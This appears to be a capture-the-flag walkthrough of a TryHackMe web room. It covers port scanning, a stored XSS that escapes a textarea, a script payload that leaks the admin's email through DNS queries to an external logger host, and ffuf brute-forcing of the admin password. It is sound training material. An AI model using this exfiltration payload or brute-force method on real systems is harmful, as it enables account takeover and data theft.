That’s The Ticket is a medium rated room on Tryhackme by adamtlangley. DNS and XSS are combined to exfiltrate the email address from the webserver and the password for the email is bruteforced using ffuf.
Full Port Scan
[email protected]:~/Documents/tryhackme/thats-the-ticket$ nmap -p- -oN nmap/all-ports --min-rate 1000 -v 10.10.133.75 Nmap scan report for 10.10.133.75 Host is up (0.19s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Jun 11 14:54:36 2021 -- 1 IP address (1 host up) scanned in 78.28 seconds
[email protected]:~/Documents/tryhackme/thats-the-ticket$ sudo nmap -p22,80 -sC -sV -oN nmap/detaill 10.10.133.75 Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-11 14:55 +0545 Nmap scan report for 10.10.133.75 Host is up (0.19s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 bf:c3:9c:99:2c:c4:e2:d9:20:33:d1:3c:dc:01:48:d2 (RSA) | 256 08:20:c2:73:c7:c5:d7:a7:ef:02:09:11:fc:85:a8:e2 (ECDSA) |_ 256 1f:51:68:2b:5e:99:57:4c:b7:40:15:05:74:d0:0d:9b (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Ticket Manager > Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.96 seconds
Only two ports are open. SSH is running on Port 22 and HTTP on port 80. Let us start our enumeration with HTTP Service on Port 80.
HTTP on Port 80
Fuzzing using ffuf
[email protected]:~/Documents/tryhackme/thats-the-ticket$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.133.75/FUZZ -fw 1 -e .txt,.html /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.2.0-git ________________________________________________ :: Method : GET :: URL : http://10.10.133.75/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt :: Extensions : .txt .html :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response words: 1 ________________________________________________ login [Status: 200, Size: 1549, Words: 416, Lines: 38] register [Status: 200, Size: 1774, Words: 475, Lines: 40]
These are two links that we already saw on the homepage earlier. Nothing more from ffuf.
We get a login page which asks for email address as well as password. Since, I dont know any valid credentials, I decided to manually fuzz this login to check if it throws any error message.
Trying to login with email that does not exists
- I tried to tamper the fields in different ways, but the response is always the same.
- And for invalid email it says email not recognized.
We can register a new account on the web server.
Registering a user
And we are forwarded to a page where we can create a ticket.
On the Tryhackme Page
The hint here is that the webserver is behind the firewall and the attacker(us) and the DNS/HTTP logger is outside the firewall. They also have an image on the tryhackme page.
HTTP/DNS logger on 10.10.10.100
After Clicking on create session
This shows all the DNS queries and HTTP request incoming to the server.
Creating a new ticket
I started playing with this create ticket functionality to test whether I can get XSS on the page. Also, with XSS we need someone on the other end to visit this page. Since this is a CTF, that is simulated by a script on the backend(If this is the case).
And we are forwared to this page.
Our content is inside <textarea>. So I decided to end the textarea using </textarea> and we can see our alert fired up.
Testing if we can get anyone t**o click the link
Even though we have a XSS, we have to test whether there is someone on the other end visiting the tickets. So, I decided to test it with a img tag.
Checking on the DNS and HTTP logger
We get 3 entries for DNS queries and a HTTP request but all from us. Since the logger is outside the firewall and the webserver is inside the firewall, the firewall is not letting the requests to go out.
Getting information Out
I played with the DNS and XSS for a long time. But the webserver is behind a firewall so it can not connect back to us. But if there is a “localhost” in the url, it seems like it can make the request outside the firewall.
Requesting a image without localhost on the url
We can see there are 3 DNS queries and a HTTP request.
Requesting a image with localhost on the url
We can see this time there are 4 DNS queries and one is from the server inside the firewall.
Extracting email address
Let us try and extract the email of the admin from the backend.
</textarea> <script> var email_first = document.getElementById("email").innerHTML.split("@"); var email_second = document.getElementById("email").innerHTML.split("@"); var href = "http://localhost." + email_first + "." + email_second + ".88c61070dfc89262eeb2e6a098a6a136.log.tryhackme.tech/test"; new Image().src=href; </script>
Checking the response
We get a response and with the response we get the email of the admin.
Bruteforcing password using ffuf
[email protected]:~/Documents/tryhackme/misguided_ghosts/http$ ffuf -w /usr/share/wordlists/rockyou.txt -d "[email protected]&password=FUZZ" -u http://10.10.133.75/login -fw 475 -H "Content-Type: application/x-www-form-urlencoded" /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.2.0-git ________________________________________________ :: Method : POST :: URL : http://10.10.133.75/login :: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : [email protected]&password=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403 :: Filter : Response words: 475 ________________________________________________ ****** [Status: 302, Size: 0, Words: 1, Lines: 1]
The password for the admin user is instantly found from rockyou.txt.
Logging with obtained creds
Reading the flag
In the first ticket, we can flag for the challenge.